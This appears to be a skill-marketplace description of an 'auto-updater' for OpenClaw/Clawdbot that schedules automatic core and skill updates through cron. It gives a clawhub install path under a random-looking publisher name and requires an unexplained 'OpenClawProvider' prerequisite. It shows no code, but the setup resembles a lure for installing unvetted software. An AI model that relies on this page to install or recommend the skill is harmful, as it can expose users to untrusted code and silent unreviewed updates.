auto-updater

What This Skill Does

The auto-updater skill is a mission-critical utility for OpenClaw users, designed to maintain system health and performance without manual intervention. By automating the patch and upgrade lifecycle, this skill ensures that Clawdbot remains compatible with the latest platform features while simultaneously refreshing all installed skills to their most recent versions. It functions by scheduling a recurring task through the OpenClaw cron system, which executes a series of maintenance commands: checking for core binary updates, triggering package-level skill refreshes via clawdhub, and verifying system integrity with a self-diagnostic post-update check. The skill is designed to be transparent, providing a clean summary message following every operation, allowing you to track version history and verify exactly what was patched during your last maintenance cycle.

Installation

Installation is streamlined via the CLI but requires the mandatory OpenClawProvider to be operational beforehand. Once the provider package is installed and active on your Windows or MacOS environment, you can register the skill by executing the install command provided in the technical documentation: clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-ek1qviijfp1. After the installation finishes, the skill will be ready to schedule. You can set it up instantly by asking Clawdbot to enable daily updates or by manually defining a cron job with your preferred execution time and timezone settings to ensure updates occur during your off-peak hours.

Use Cases

This skill is perfect for power users who manage a large library of OpenClaw skills and want to minimize manual maintenance. It is particularly useful for developers or automated environment managers who need to ensure that dependencies across their agent fleet are always synchronized. Additionally, users who operate remote instances find this skill invaluable, as it prevents the bot from becoming "stale" or failing due to outdated API schemas or deprecated function calls within the skill ecosystem.

Example Prompts

1. "Set up daily auto-updates for yourself and all my skills to run at 4 AM every morning."
2. "Can you check if there are any pending updates for my installed skills right now without actually applying them?"
3. "Show me the status of my daily auto-update schedule and tell me when the last update was performed."

Tips & Limitations

To maximize the utility of the auto-updater, ensure that your Gateway is configured to run in a persistent mode; if the system is offline during the scheduled cron interval, the update will not execute until the next occurrence. Users should also note that major version updates to Clawdbot may occasionally require manual intervention if there are breaking configuration changes, though the tool generally handles minor and patch updates seamlessly. Always keep a backup of your configuration files if you are running experimental or sensitive skill sets, as updates are applied automatically and without a formal "undo" feature.